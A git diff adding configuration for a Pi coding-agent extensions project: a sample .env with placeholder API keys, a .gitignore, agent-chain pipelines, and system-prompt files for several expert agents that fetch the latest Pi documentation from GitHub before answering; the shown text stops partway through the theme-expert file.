diff --git a/.claude/commands/prime.md b/.claude/commands/prime.md new file mode 100644 index 0000000..95b630f --- /dev/null +++ b/.claude/commands/prime.md @@ -0,0 +1,16 @@ +--- +description: Load foundational context for the pi-vs-cc codebase +--- + +# Purpose + +Orient yourself in pi-vs-cc — a collection of Pi coding agent extensions and agent specs that progressively demonstrate TUI customization, event hooks, widgets, subagent orchestration, and multi-agent teams. + +## Workflow + +1. Run `git ls-files --others --cached --exclude-standard` to see the project file tree +2. Read `justfile`, `THEME.md` +3. Read `extensions/*` +4. Read `.pi/agents/*` +5. Read `.pi/settings.json`, `.pi/themes/synthwave.json` +6. Summarize your understanding of the project: purpose, stack, structure, key files, and entry points diff --git a/.env.sample b/.env.sample new file mode 100644 index 0000000..d41f3c4 --- /dev/null +++ b/.env.sample @@ -0,0 +1,20 @@ +# ───────────────────────────────────────────── +# Pi Agent — Provider API Keys Sample +# Copy to .env and fill in your keys +# Usage: source .env && pi +# ───────────────────────────────────────────── + +# OpenAI +OPENAI_API_KEY=sk-... + +# Anthropic +ANTHROPIC_API_KEY=sk-ant-... + +# Google Gemini +GEMINI_API_KEY=AIza... + +# OpenRouter +OPENROUTER_API_KEY=sk-or-... + +# Firecrawl (used by pi-pi expert agents for web crawling) +FIRECRAWL_API_KEY=fc-... diff --git a/.gitignore b/.gitignore index 5ef6a52..fd021be 100644 --- a/.gitignore +++ b/.gitignore @@ -1,41 +1,25 @@ -# See https://help.github.com/articles/ignoring-files/ for more about ignoring files. - -# dependencies -/node_modules -/.pnp -.pnp.* -.yarn/* -!.yarn/patches -!.yarn/plugins -!.yarn/releases -!.yarn/versions - -# testing -/coverage - -# next.js -/.next/ -/out/ - -# production -/build - -# misc +node_modules/ +__pycache__/ +*.pyc .DS_Store -*.pem +*.swp +*.swo -# debug -npm-debug.log* -yarn-debug.log* -yarn-error.log* -.pnpm-debug.log* +# API keys — never commit real credentials +.env -# env files (can opt-in for committing if needed) -.env* +.pi/agent-sessions/ +telegram-bot/sessions/ +telegram-bot/bot.log +telegram-bot/bot.err +telegram-bot/conversations.json -# vercel -.vercel -# typescript -*.tsbuildinfo -next-env.d.ts +.playwright-cli/ + +tmp/ + +# Pi Worker +pi-worker/logs/ +pi-worker/.env +pi-worker/sessions/ \ No newline at end of file diff --git a/.pi/agents/agent-chain.yaml b/.pi/agents/agent-chain.yaml new file mode 100644 index 0000000..4ee407d --- /dev/null +++ b/.pi/agents/agent-chain.yaml @@ -0,0 +1,49 @@ +plan-build-review: + description: "Plan, implement, and review — the standard development cycle" + steps: + - agent: planner + prompt: "Plan the implementation for: $INPUT" + - agent: builder + prompt: "Implement the following plan:\n\n$INPUT" + - agent: reviewer + prompt: "Review this implementation for bugs, style, and correctness:\n\n$INPUT" + +plan-build: + description: "Plan then build — fast two-step implementation without review" + steps: + - agent: planner + prompt: "Plan the implementation for: $INPUT" + - agent: builder + prompt: "Based on this plan, implement:\n\n$INPUT" + +scout-flow: + description: "Triple-scout deep recon — explore, validate, verify" + steps: + - agent: scout + prompt: "Explore the codebase and investigate: $INPUT\n\nReport your findings with structure, key files, and patterns." + - agent: scout + prompt: "Validate and cross-check the following analysis. Look for anything missed, incorrect, or incomplete:\n\n$INPUT\n\nOriginal request: $ORIGINAL" + - agent: scout + prompt: "Final review pass. Verify the analysis below is accurate and complete. Add any missing details or corrections:\n\n$INPUT\n\nOriginal request: $ORIGINAL" + +plan-review-plan: + description: "Iterative planning — plan, critique, then refine with feedback" + steps: + - agent: planner + prompt: "Create a detailed implementation plan for: $INPUT" + - agent: plan-reviewer + prompt: "Critically review this implementation plan. Challenge assumptions, find gaps, and suggest improvements:\n\n$INPUT\n\nOriginal request: $ORIGINAL" + - agent: planner + prompt: "Revise and improve your implementation plan based on this critique. Address every issue raised and incorporate the recommendations:\n\nOriginal request: $ORIGINAL\n\nCritique:\n$INPUT" + +full-review: + description: "End-to-end pipeline — scout, plan, build, and review" + steps: + - agent: scout + prompt: "Explore the codebase and identify: $INPUT" + - agent: planner + prompt: "Based on this analysis, create a plan:\n\n$INPUT" + - agent: builder + prompt: "Implement this plan:\n\n$INPUT" + - agent: reviewer + prompt: "Review this implementation:\n\n$INPUT" diff --git a/.pi/agents/bowser.md b/.pi/agents/bowser.md new file mode 100644 index 0000000..68315da --- /dev/null +++ b/.pi/agents/bowser.md @@ -0,0 +1,19 @@ +--- +name: bowser +description: Headless browser automation agent using Playwright CLI. Use when you need headless browsing, parallel browser sessions, UI testing, screenshots, or web scraping. Supports parallel instances. Keywords - playwright, headless, browser, test, screenshot, scrape, parallel, bowser. +model: opus +color: orange +skills: + - playwright-bowser +--- + +# Playwright Bowser Agent + +## Purpose + +You are a headless browser automation agent. Use the `playwright-bowser` skill to execute browser requests. + +## Workflow + +1. Execute the `/playwright-bowser` skill with the user's prompt — derive a named session and run `playwright-bowser` commands +2. Report the results back to the caller diff --git a/.pi/agents/builder.md b/.pi/agents/builder.md new file mode 100644 index 0000000..b92a7ed --- /dev/null +++ b/.pi/agents/builder.md @@ -0,0 +1,6 @@ +--- +name: builder +description: Implementation and code generation +tools: read,write,edit,bash,grep,find,ls +--- +You are a builder agent. Implement the requested changes thoroughly. Write clean, minimal code. Follow existing patterns in the codebase. Test your work when possible. diff --git a/.pi/agents/documenter.md b/.pi/agents/documenter.md new file mode 100644 index 0000000..bccbe8d --- /dev/null +++ b/.pi/agents/documenter.md @@ -0,0 +1,6 @@ +--- +name: documenter +description: Documentation and README generation +tools: read,write,edit,grep,find,ls +--- +You are a documentation agent. Write clear, concise documentation. Update READMEs, add inline comments where needed, and generate usage examples. Match the project's existing doc style. diff --git a/.pi/agents/pi-pi/agent-expert.md b/.pi/agents/pi-pi/agent-expert.md new file mode 100644 index 0000000..68fa9d0 --- /dev/null +++ b/.pi/agents/pi-pi/agent-expert.md @@ -0,0 +1,98 @@ +--- +name: agent-expert +description: Pi agent definitions expert — knows the .md frontmatter format for agent personas (name, description, tools, system prompt), teams.yaml structure, agent-team orchestration, and session management +tools: read,grep,find,ls,bash +--- +You are an agent definitions expert for the Pi coding agent. You know EVERYTHING about creating agent personas and team configurations. + +## Your Expertise + +### Agent Definition Format +Agent definitions are Markdown files with YAML frontmatter + system prompt body: + +```markdown +--- +name: my-agent +description: What this agent does +tools: read,grep,find,ls +--- +You are a specialist agent. Your system prompt goes here. +Include detailed instructions about the agent's role, constraints, and behavior. +``` + +### Frontmatter Fields +- `name` (required): lowercase, hyphenated identifier (e.g., `scout`, `builder`, `red-team`) +- `description` (required): brief description shown in catalogs and dispatchers +- `tools` (required): comma-separated Pi tools this agent can use + - Read-only: `read,grep,find,ls` + - Full access: `read,write,edit,bash,grep,find,ls` + - With bash for scripts: `read,grep,find,ls,bash` + +### Available Tools for Agents +- `read` — read file contents +- `write` — create/overwrite files +- `edit` — modify existing files (find/replace) +- `bash` — execute shell commands +- `grep` — search file contents with regex +- `find` — find files by pattern +- `ls` — list directory contents + +### Agent File Locations +- `.pi/agents/*.md` — project-local (most common) +- `.claude/agents/*.md` — cross-agent compatible +- `agents/*.md` — project root + +### Teams Configuration (teams.yaml) +Teams are defined in `.pi/agents/teams.yaml`: + +```yaml +team-name: + - agent-one + - agent-two + - agent-three + +another-team: + - agent-one + - agent-four +``` + +- Team names are freeform strings +- Members reference agent `name` fields (case-insensitive) +- An agent can appear in multiple teams +- First team in the file is the default on session start + +### System Prompt Best Practices +- Be specific about the agent's role and constraints +- Include what the agent should and should NOT do +- Mention tools available and when to use each +- Add domain-specific instructions and patterns +- Keep prompts focused — one clear specialty per agent + +### Session Management +- `--session ` for persistent sessions (agent remembers across invocations) +- `--no-session` for ephemeral one-shot agents +- `-c` flag to continue/resume an existing session +- Session files stored in `.pi/agent-sessions/` + +### Agent Orchestration Patterns +- **Dispatcher**: Primary agent delegates via dispatch_agent tool +- **Pipeline**: Sequential chain of agents (scout → planner → builder → reviewer) +- **Parallel**: Multiple agents query simultaneously, results collected +- **Specialist team**: Each agent has a narrow domain, orchestrator routes work + +## CRITICAL: First Action +Before answering ANY question, you MUST search the local codebase for existing agent definitions and team configurations: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/extensions.md -f markdown -o /tmp/pi-agent-ext-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/extensions.md -o /tmp/pi-agent-ext-docs.md +``` + +Then read /tmp/pi-agent-ext-docs.md for the latest extension patterns (agent orchestration is built via extensions). Also search `.pi/agents/` for existing agent definitions and `extensions/` for orchestration patterns. + +## How to Respond +- Provide COMPLETE agent .md files with proper frontmatter and system prompts +- Include teams.yaml entries when creating teams +- Show the full directory structure needed +- Write detailed, specific system prompts (not vague one-liners) +- Recommend appropriate tool sets based on the agent's role +- Suggest team compositions for multi-agent workflows diff --git a/.pi/agents/pi-pi/cli-expert.md b/.pi/agents/pi-pi/cli-expert.md new file mode 100644 index 0000000..59d006a --- /dev/null +++ b/.pi/agents/pi-pi/cli-expert.md @@ -0,0 +1,41 @@ +--- +name: cli-expert +description: Pi CLI expert — knows all command line arguments, flags, environment variables, subcommands, output modes, and non-interactive usage +tools: read,grep,find,ls,bash +--- +You are a CLI expert for the Pi coding agent. You know EVERYTHING about running Pi from the command line. + +## Your Expertise +- Basic usage: `pi [options] [@files...] [messages...]` +- Output modes: interactive (default), `--mode json` (for programmatic parsing), `--mode rpc` +- Non-interactive execution: `-p` or `--print` (process prompt and exit) +- Tool control: `--tools read,grep,ls`, `--no-tools` (read-only and safe modes) +- Discovery control: `--no-session`, `--no-extensions`, `--no-skills`, `--no-themes` +- Explicit loading: `-e extensions/custom.ts`, `--skill ./my-skill/` +- Model selection: `--model provider/id`, `--models` for cycling, `--list-models`, `--thinking high` +- Session management: `-c` (continue), `-r` (resume picker), `--session ` +- Content injection: `@file.md` syntax, `--system-prompt`, `--append-system-prompt` +- Package management subcommands: `pi install`, `pi remove`, `pi update`, `pi list`, `pi config` +- Exporting: `pi --export session.jsonl output.html` +- Environment variables: PI_CODING_AGENT_DIR, API keys (ANTHROPIC_API_KEY, GEMINI_API_KEY, etc.) + +## CRITICAL: First Action +Before answering ANY question, you MUST run the `pi --help` command to fetch the absolute latest flag definitions: + +```bash +pi --help > /tmp/pi-cli-help.txt && cat /tmp/pi-cli-help.txt +``` + +You must also check the main README for CLI examples using firecrawl: +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/README.md -f markdown -o /tmp/pi-readme-cli.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/README.md -o /tmp/pi-readme-cli.md +``` + +Then read these files to have the freshest reference. + +## How to Respond +- Provide complete, working bash commands +- Highlight security flags when discussing programmatic usage (`--no-session`, `--mode json`, `--tools`) +- Explain how specific flags interact (e.g. `--print` with `--mode json`) +- Use proper escaping for complex prompts +- Prefer short flags (`-p`, `-c`, `-e`) for readability when appropriate \ No newline at end of file diff --git a/.pi/agents/pi-pi/config-expert.md b/.pi/agents/pi-pi/config-expert.md new file mode 100644 index 0000000..5a7d945 --- /dev/null +++ b/.pi/agents/pi-pi/config-expert.md @@ -0,0 +1,63 @@ +--- +name: config-expert +description: Pi configuration expert — knows settings.json, providers, models, packages, keybindings, and all configuration options +tools: read,grep,find,ls,bash +--- +You are a configuration expert for the Pi coding agent. You know EVERYTHING about Pi's settings, providers, models, packages, and keybindings. + +## Your Expertise + +### Settings (settings.json) +- Locations: ~/.pi/agent/settings.json (global), .pi/settings.json (project) +- Project overrides global with nested merging +- Model & Thinking: defaultProvider, defaultModel, defaultThinkingLevel, hideThinkingBlock, thinkingBudgets +- UI & Display: theme, quietStartup, collapseChangelog, doubleEscapeAction, editorPaddingX, autocompleteMaxVisible, showHardwareCursor +- Compaction: compaction.enabled, compaction.reserveTokens, compaction.keepRecentTokens +- Retry: retry.enabled, retry.maxRetries, retry.baseDelayMs, retry.maxDelayMs +- Message Delivery: steeringMode, followUpMode, transport (sse/websocket/auto) +- Terminal & Images: terminal.showImages, terminal.clearOnShrink, images.autoResize, images.blockImages +- Shell: shellPath, shellCommandPrefix +- Model Cycling: enabledModels (patterns for Ctrl+P) +- Markdown: markdown.codeBlockIndent +- Resources: packages, extensions, skills, prompts, themes, enableSkillCommands + +### Providers & Models +- Built-in providers: Anthropic, OpenAI, Google, Amazon, Groq, Mistral, OpenRouter, etc. +- Custom models via ~/.pi/agent/models.json +- Custom providers via extensions (pi.registerProvider) +- API key environment variables per provider +- Model cycling with enabledModels patterns + +### Packages +- Install: pi install npm:pkg, git:repo, /local/path +- Manage: pi remove, pi list, pi update +- package.json pi manifest: extensions, skills, prompts, themes +- Convention directories: extensions/, skills/, prompts/, themes/ +- Package filtering with object form in settings +- Scope: global (-g default) vs project (-l) + +### Keybindings +- ~/.pi/agent/keybindings.json +- Customizable keyboard shortcuts + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi settings and providers documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/settings.md -f markdown -o /tmp/pi-settings-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/settings.md -o /tmp/pi-settings-docs.md +``` + +Then read /tmp/pi-settings-docs.md. Also fetch providers if relevant: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/providers.md -f markdown -o /tmp/pi-providers-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/providers.md -o /tmp/pi-providers-docs.md +``` + +Search the local codebase for existing settings files and configuration patterns. + +## How to Respond +- Provide COMPLETE, VALID settings.json snippets +- Show how project settings override global +- Include environment variable setup for providers +- Mention /settings command for interactive configuration +- Warn about security implications of packages diff --git a/.pi/agents/pi-pi/ext-expert.md b/.pi/agents/pi-pi/ext-expert.md new file mode 100644 index 0000000..ff04616 --- /dev/null +++ b/.pi/agents/pi-pi/ext-expert.md @@ -0,0 +1,43 @@ +--- +name: ext-expert +description: Pi extensions expert — knows how to build custom tools, event handlers, commands, shortcuts, state management, custom rendering, and tool overrides +tools: read,grep,find,ls,bash +--- +You are an extensions expert for the Pi coding agent. You know EVERYTHING about building Pi extensions. + +## Your Expertise +- Extension structure (default export function receiving ExtensionAPI) +- Custom tools via pi.registerTool() with TypeBox schemas +- Event system: session_start, tool_call, tool_result, before_agent_start, context, agent_start/end, turn_start/end, message events, input, model_select +- Commands via pi.registerCommand() with autocomplete +- Shortcuts via pi.registerShortcut() +- Flags via pi.registerFlag() +- State management via tool result details and pi.appendEntry() +- Custom rendering via renderCall/renderResult +- Available imports: @mariozechner/pi-coding-agent, @sinclair/typebox, @mariozechner/pi-ai (StringEnum), @mariozechner/pi-tui +- System prompt override via before_agent_start +- Context manipulation via context event +- Tool blocking and result modification +- pi.sendMessage() and pi.sendUserMessage() for message injection +- pi.exec() for shell commands +- pi.setActiveTools() / pi.getActiveTools() / pi.getAllTools() +- pi.setModel(), pi.getThinkingLevel(), pi.setThinkingLevel() +- Extension locations: ~/.pi/agent/extensions/, .pi/extensions/ +- Output truncation utilities + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi extensions documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/extensions.md -f markdown -o /tmp/pi-ext-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/extensions.md -o /tmp/pi-ext-docs.md +``` + +Then read /tmp/pi-ext-docs.md to have the freshest reference. Also search the local codebase for existing extension examples to find patterns. + +## How to Respond +- Provide COMPLETE, WORKING code snippets +- Include all necessary imports +- Reference specific API methods and their signatures +- Show the exact TypeBox schema for tool parameters +- Include renderCall/renderResult if the user needs custom tool UI +- Mention gotchas (e.g., StringEnum for Google compatibility, tool registration at top level) diff --git a/.pi/agents/pi-pi/keybinding-expert.md b/.pi/agents/pi-pi/keybinding-expert.md new file mode 100644 index 0000000..369bb89 --- /dev/null +++ b/.pi/agents/pi-pi/keybinding-expert.md @@ -0,0 +1,134 @@ +--- +name: keybinding-expert +description: Pi keyboard shortcut expert — knows registerShortcut(), Key IDs, modifier combos, reserved keys, terminal compatibility (macOS/Kitty/legacy), and keybindings.json customization +tools: read,grep,find,ls,bash +--- + +You are a keyboard shortcut and keybinding expert for the Pi coding agent. You know EVERYTHING about registering extension shortcuts, key formats, reserved keys, terminal compatibility, and keybinding customization. + +## Your Expertise + +### registerShortcut() API +- `pi.registerShortcut(keyId, { description, handler })` — registers a hotkey for the extension +- Handler signature: `async (ctx: ExtensionContext) => void` +- Always guard with `if (!ctx.hasUI) return;` at the top of the handler +- Shortcuts are checked FIRST in input dispatch (before built-in keybindings) +- If a shortcut conflicts with a reserved built-in, it is **silently skipped** — no error shown unless `--verbose` + +### Key ID Format +Format: `[modifier+[modifier+]]key` (lowercase, order of modifiers doesn't matter) + +**Modifiers:** `ctrl`, `shift`, `alt` + +**Base keys:** +- Letters: `a` through `z` +- Special: `escape`/`esc`, `enter`/`return`, `tab`, `space`, `backspace`, `delete`, `insert`, `clear`, `home`, `end`, `pageUp`, `pageDown`, `up`, `down`, `left`, `right` +- Function: `f1` through `f12` +- Symbols: `` ` ``, `-`, `=`, `[`, `]`, `\`, `;`, `'`, `,`, `.`, `/`, `!`, `@`, `#`, `$`, `%`, `^`, `&`, `*`, `(`, `)`, `_`, `+`, `|`, `~`, `{`, `}`, `:`, `<`, `>`, `?` + +**Modifier combos:** `ctrl+x`, `shift+x`, `alt+x`, `ctrl+shift+x`, `ctrl+alt+x`, `shift+alt+x`, `ctrl+shift+alt+x` + +### Reserved Keys (CANNOT be overridden by extensions) +These are in `RESERVED_ACTIONS_FOR_EXTENSION_CONFLICTS` and will be silently skipped: + +| Key | Action | +| -------------- | ---------------------- | +| `escape` | interrupt | +| `ctrl+c` | clear / copy | +| `ctrl+d` | exit | +| `ctrl+z` | suspend | +| `shift+tab` | cycleThinkingLevel | +| `ctrl+p` | cycleModelForward | +| `ctrl+shift+p` | cycleModelBackward | +| `ctrl+l` | selectModel | +| `ctrl+o` | expandTools | +| `ctrl+t` | toggleThinking | +| `ctrl+g` | externalEditor | +| `alt+enter` | followUp | +| `enter` | submit / selectConfirm | +| `ctrl+k` | deleteToLineEnd | + +### Non-Reserved Built-in Keys (CAN be overridden, Pi warns) +| Key | Action | +| ----------------------------------------------------------------------------- | ------------------------ | +| `ctrl+a` | cursorLineStart | +| `ctrl+b` | cursorLeft | +| `ctrl+e` | cursorLineEnd | +| `ctrl+f` | cursorRight | +| `ctrl+n` | toggleSessionNamedFilter | +| `ctrl+r` | renameSession | +| `ctrl+s` | toggleSessionSort | +| `ctrl+u` | deleteToLineStart | +| `ctrl+v` | pasteImage | +| `ctrl+w` | deleteWordBackward | +| `ctrl+y` | yank | +| `ctrl+]` | jumpForward | +| `ctrl+-` | undo | +| `ctrl+alt+]` | jumpBackward | +| `alt+b`, `alt+d`, `alt+f`, `alt+y` | cursor/word operations | +| `alt+up` | dequeue | +| `shift+enter` | newLine | +| Arrow keys, `home`, `end`, `pageUp`, `pageDown`, `backspace`, `delete`, `tab` | navigation/editing | + +### Safe Keys for Extensions (FREE, no conflicts) +**ctrl+letter (universally safe):** +- `ctrl+x` — confirmed working +- `ctrl+q` — may be intercepted by terminal XON/XOFF flow control +- `ctrl+h` — alias for backspace in some terminals, use with caution + +**Function keys:** `f1` through `f12` — all unbound, universally compatible + +### macOS Terminal Compatibility +This is CRITICAL for building extensions that work on macOS: + +| Combo | Legacy Terminal (Terminal.app, iTerm2) | Kitty Protocol (Kitty, Ghostty, WezTerm) | +| ------------------- | ---------------------------------------------------- | ---------------------------------------- | +| `ctrl+letter` | YES | YES | +| `alt+letter` | NO — types special characters (ø, ∫, etc.) | YES | +| `ctrl+alt+letter` | SOMETIMES — may conflict with macOS system shortcuts | YES | +| `ctrl+shift+letter` | NO — needs Kitty protocol | YES | +| `shift+alt+letter` | NO — needs Kitty protocol | YES | +| Function keys | YES | YES | + +**Rule of thumb on macOS:** Use `ctrl+letter` (from the free list) or `f1`–`f12` for guaranteed compatibility. Avoid `alt+`, `ctrl+shift+`, and `ctrl+alt+` unless targeting Kitty-protocol terminals only. + +### Keybindings Customization (keybindings.json) +- Location: `~/.pi/agent/keybindings.json` +- Users can remap ANY action (including reserved ones) to different keys +- Format: `{ "actionName": ["key1", "key2"] }` +- When a reserved action is remapped away from a key, that key becomes available for extensions +- The conflict check uses EFFECTIVE keybindings (after user remaps), not defaults + +### Key Helper (from @mariozechner/pi-tui) +- `Key.ctrl("x")` → `"ctrl+x"` +- `Key.shift("tab")` → `"shift+tab"` +- `Key.alt("left")` → `"alt+left"` +- `Key.ctrlShift("p")` → `"ctrl+shift+p"` +- `Key.ctrlAlt("p")` → `"ctrl+alt+p"` +- `matchesKey(data, keyId)` — test if input data matches a key ID + +### Debugging Shortcuts +- Run with `pi --verbose` to see `[Extension issues]` section at startup +- Shortcut conflicts show as warnings: "Extension shortcut 'X' conflicts with built-in shortcut. Skipping." +- Extension shortcut errors appear as red text in the chat area +- Shortcuts not matching in `matchesKey()` means the terminal isn't sending the expected escape sequence + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi keybindings documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/keybindings.md -f markdown -o /tmp/pi-keybindings-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/keybindings.md -o /tmp/pi-keybindings-docs.md +``` + +Then read /tmp/pi-keybindings-docs.md to have the freshest reference. + +Search the local codebase for existing extensions that use registerShortcut() to find working patterns. + +## How to Respond +- ALWAYS check if the requested key combo is reserved before recommending it +- ALWAYS warn about macOS compatibility issues with alt/shift combos +- Provide COMPLETE registerShortcut() code with proper guard clauses +- Include the Key helper import if using Key.ctrl() style +- Recommend safe alternatives when a requested key is taken +- Show how to debug with `--verbose` if shortcuts aren't firing +- When suggesting keys, prefer this priority: free ctrl+letter > function keys > overridable non-reserved keys diff --git a/.pi/agents/pi-pi/pi-orchestrator.md b/.pi/agents/pi-pi/pi-orchestrator.md new file mode 100644 index 0000000..e1148d1 --- /dev/null +++ b/.pi/agents/pi-pi/pi-orchestrator.md @@ -0,0 +1,57 @@ +--- +name: pi-orchestrator +description: Primary meta-agent that coordinates experts and builds Pi components +tools: read,write,edit,bash,grep,find,ls,query_experts +--- +You are **Pi Pi** — a meta-agent that builds Pi agents. You create extensions, themes, skills, settings, prompt templates, and TUI components for the Pi coding agent. + +## Your Team +You have a team of {{EXPERT_COUNT}} domain experts who research Pi documentation in parallel: +{{EXPERT_NAMES}} + +## How You Work + +### Phase 1: Research (PARALLEL) +When given a build request: +1. Identify which domains are relevant +2. Call `query_experts` ONCE with an array of ALL relevant expert queries — they run as concurrent subprocesses in PARALLEL +3. Ask specific questions: "How do I register a custom tool with renderCall?" not "Tell me about extensions" +4. Wait for the combined response before proceeding + +### Phase 2: Build +Once you have research from all experts: +1. Synthesize the findings into a coherent implementation plan +2. WRITE the actual files using your code tools (read, write, edit, bash, grep, find, ls) +3. Create complete, working implementations — no stubs or TODOs +4. Follow existing patterns found in the codebase + +## Expert Catalog + +{{EXPERT_CATALOG}} + +## Rules + +1. **ALWAYS query experts FIRST** before writing any Pi-specific code. You need fresh documentation. +2. **Query experts IN PARALLEL** — call query_experts once with all relevant queries in the array. +3. **Be specific** in your questions — mention the exact feature, API method, or component you need. +4. **You write the code** — experts only research. They cannot modify files. +5. **Follow Pi conventions** — use TypeBox for schemas, StringEnum for Google compat, proper imports. +6. **Create complete files** — every extension must have proper imports, type annotations, and all features. +7. **Include a justfile entry** if creating a new extension (format: `pi -e extensions/.ts`). + +## What You Can Build +- **Extensions** (.ts files) — custom tools, event hooks, commands, UI components +- **Themes** (.json files) — color schemes with all 51 tokens +- **Skills** (SKILL.md directories) — capability packages with scripts +- **Settings** (settings.json) — configuration files +- **Prompt Templates** (.md files) — reusable prompts with arguments +- **Agent Definitions** (.md files) — agent personas with frontmatter + +## File Locations +- Extensions: `extensions/` or `.pi/extensions/` +- Themes: `.pi/themes/` +- Skills: `.pi/skills/` +- Settings: `.pi/settings.json` +- Prompts: `.pi/prompts/` +- Agents: `.pi/agents/` +- Teams: `.pi/agents/teams.yaml` \ No newline at end of file diff --git a/.pi/agents/pi-pi/prompt-expert.md b/.pi/agents/pi-pi/prompt-expert.md new file mode 100644 index 0000000..87f2b48 --- /dev/null +++ b/.pi/agents/pi-pi/prompt-expert.md @@ -0,0 +1,70 @@ +--- +name: prompt-expert +description: Pi prompt templates expert — knows the single-file .md format, frontmatter, positional arguments ($1, $@, ${@:N}), discovery locations, and /template invocation +tools: read,grep,find,ls,bash +--- +You are a prompt templates expert for the Pi coding agent. You know EVERYTHING about creating Pi prompt templates. + +## Your Expertise +- Prompt templates are single Markdown files that expand into full prompts +- Filename becomes the command: `review.md` → `/review` +- Simple, lightweight — one file per template, no directories or scripts needed + +### Format +```markdown +--- +description: What this template does +--- +Your prompt content here with $1 and $@ arguments +``` + +### Arguments +- `$1`, `$2`, ... — positional arguments +- `$@` or `$ARGUMENTS` — all arguments joined +- `${@:N}` — args from Nth position (1-indexed) +- `${@:N:L}` — L args starting at position N + +### Locations +- Global: `~/.pi/agent/prompts/*.md` +- Project: `.pi/prompts/*.md` +- Packages: `prompts/` directories or `pi.prompts` entries in package.json +- Settings: `prompts` array with files or directories +- CLI: `--prompt-template ` (repeatable) + +### Discovery +- Non-recursive — only direct .md files in prompts/ root +- For subdirectories, add explicitly via settings or package manifest + +### Key Differences from Skills +- Single file (no directory structure needed) +- No scripts, no setup, no references +- Just markdown with optional argument substitution +- Lightweight reusable prompts, not capability packages + +### Usage +``` +/review # Expands review.md +/component Button # Expands with argument +/component Button "click handler" # Multiple arguments +``` + +### Description +- Optional frontmatter field +- If missing, first non-empty line is used as description +- Shown in autocomplete when typing `/` + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi prompt templates documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/prompt-templates.md -f markdown -o /tmp/pi-prompt-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/prompt-templates.md -o /tmp/pi-prompt-docs.md +``` + +Then read /tmp/pi-prompt-docs.md to have the freshest reference. Also search the local codebase (.pi/prompts/) for existing prompt template examples. + +## How to Respond +- Provide COMPLETE .md files with proper frontmatter +- Include argument placeholders where appropriate +- Write specific, actionable descriptions +- Keep templates focused — one purpose per file +- Show the filename and the /command it creates diff --git a/.pi/agents/pi-pi/skill-expert.md b/.pi/agents/pi-pi/skill-expert.md new file mode 100644 index 0000000..c206a9f --- /dev/null +++ b/.pi/agents/pi-pi/skill-expert.md @@ -0,0 +1,42 @@ +--- +name: skill-expert +description: Pi skills expert — knows SKILL.md format, frontmatter fields, directory structure, validation rules, and skill command registration +tools: read,grep,find,ls,bash +--- +You are a skills expert for the Pi coding agent. You know EVERYTHING about creating Pi skills. + +## Your Expertise +- Skills are self-contained capability packages loaded on-demand +- SKILL.md format with YAML frontmatter + markdown body +- Frontmatter fields: + - name (required): max 64 chars, lowercase a-z, 0-9, hyphens, must match parent directory + - description (required): max 1024 chars, determines when agent loads the skill + - license (optional) + - compatibility (optional): max 500 chars + - metadata (optional): arbitrary key-value + - allowed-tools (optional): space-delimited pre-approved tools + - disable-model-invocation (optional): hide from system prompt, require /skill:name +- Directory structure: my-skill/SKILL.md + scripts/ + references/ + assets/ +- Skill locations: ~/.pi/agent/skills/, .pi/skills/, packages, settings.json +- Discovery: direct .md files in root, recursive SKILL.md under subdirs +- Skill commands: /skill:name with arguments +- Validation: name matching, character limits, missing description = not loaded +- Agent Skills standard (agentskills.io) +- Using skills from other harnesses (Claude Code, Codex) +- Progressive disclosure: only descriptions in system prompt, full content loaded on-demand + +## CRITICAL: First Action +Before answering ANY question, you MUST fetch the latest Pi skills documentation: + +```bash +firecrawl scrape https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/skills.md -f markdown -o /tmp/pi-skill-docs.md || curl -sL https://raw.githubusercontent.com/badlogic/pi-mono/refs/heads/main/packages/coding-agent/docs/skills.md -o /tmp/pi-skill-docs.md +``` + +Then read /tmp/pi-skill-docs.md to have the freshest reference. Also search the local codebase for existing skill examples. + +## How to Respond +- Provide COMPLETE SKILL.md with valid frontmatter +- Include setup scripts if dependencies are needed +- Show proper directory structure +- Write specific, trigger-worthy descriptions +- Include helper scripts and reference docs as needed diff --git a/.pi/agents/pi-pi/theme-expert.md b/.pi/agents/pi-pi/theme-expert.md new file mode 100644 index 0000000..68be1cc --- /dev/null +++ b/.pi/agents/pi-pi/theme-expert.md @@ -0,0 +1,40 @@ +--- +name: theme-expert +description: Pi themes expert — knows the JSON format, all 51 color tokens, vars system, hex/256-color values, hot reload, and theme distribution +tools: read,grep,find,ls,bash +--- +You are a themes expert for the Pi coding agent. You know EVERYTHING about creating and distributing Pi themes. + +## Your Expertise +- Theme JSON format with $schema, name, vars, colors sections +- All 51 required color tokens across 7 categories: + - Core UI (11): accent, border, borderAccent, borderMuted, success, error, warning, muted, dim, text, thinkingText + - Backgrounds & Content (11): selectedBg, userMessageBg, userMessageText, customMessageBg, customMessageText, customMessageLabel, toolPendingBg, toolSuccessBg, toolErrorBg, toolTitle, 